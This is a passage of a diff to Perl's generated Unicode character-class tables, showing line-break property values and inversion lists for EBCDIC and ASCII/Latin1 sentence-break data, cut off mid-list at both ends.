LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Alphabetic, + LB_Combining_Mark, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_JL, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_Alphabetic, + LB_JV, + LB_Alphabetic, + LB_JT, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Combining_Mark, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Infix_Numeric, + LB_Close_Punctuation, + LB_Infix_Numeric, + LB_Exclamation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Inseparable, + LB_Alphabetic, + LB_Combining_Mark, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Nonstarter, + LB_Exclamation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Ideographic, + LB_Alphabetic, + LB_Word_Joiner, + LB_Alphabetic, + LB_Exclamation, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Exclamation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Contingent_Break, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Inseparable, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_Before, + LB_Break_After, + LB_Exclamation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Nonstarter, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Regional_Indicator, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Modifier, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Alphabetic, + LB_Quotation, + LB_Nonstarter, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic }; -# endif /* EBCDIC 1047 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_S_invlist[] = { /* for EBCDIC 037 */ - 439, /* Number of elements */ +static const UV _Perl_SB_invlist[] = { /* for ASCII/Latin1 */ + 2957, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x50, + 0x9, + 0xA, + 0xB, + 0xD, + 0xE, + 0x20, + 0x21, + 0x22, + 0x23, + 0x27, + 0x2A, + 0x2C, + 0x2E, + 0x2F, + 0x30, + 0x3A, + 0x3B, + 0x3F, + 0x40, + 0x41, 0x5B, 0x5C, - 0x5F, - 0x60, - 0x6A, - 0x6B, - 0x6E, - 0x6F, - 0x79, - 0x7A, + 0x5D, + 0x5E, + 0x61, + 0x7B, + 0x7C, + 0x7D, 0x7E, - 0x7F, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, + 0x85, + 0x86, 0xA0, 0xA1, - 0xA2, - 0xAF, - 0xB3, - 0xB4, + 0xAA, + 0xAB, + 0xAC, + 0xAD, + 0xAE, 0xB5, + 0xB6, + 0xBA, + 0xBB, 0xBC, 0xC0, - 0xE1, - 0xE2, + 0xD7, + 0xD8, + 0xDF, + 0xF7, + 0xF8, + 0x100, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, + 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BB, + 0x1BC, + 0x1BD, + 0x1C0, + 0x1C4, + 0x1C6, + 0x1C7, + 0x1C9, + 0x1CA, + 0x1CC, + 0x1CD, + 0x1CE, + 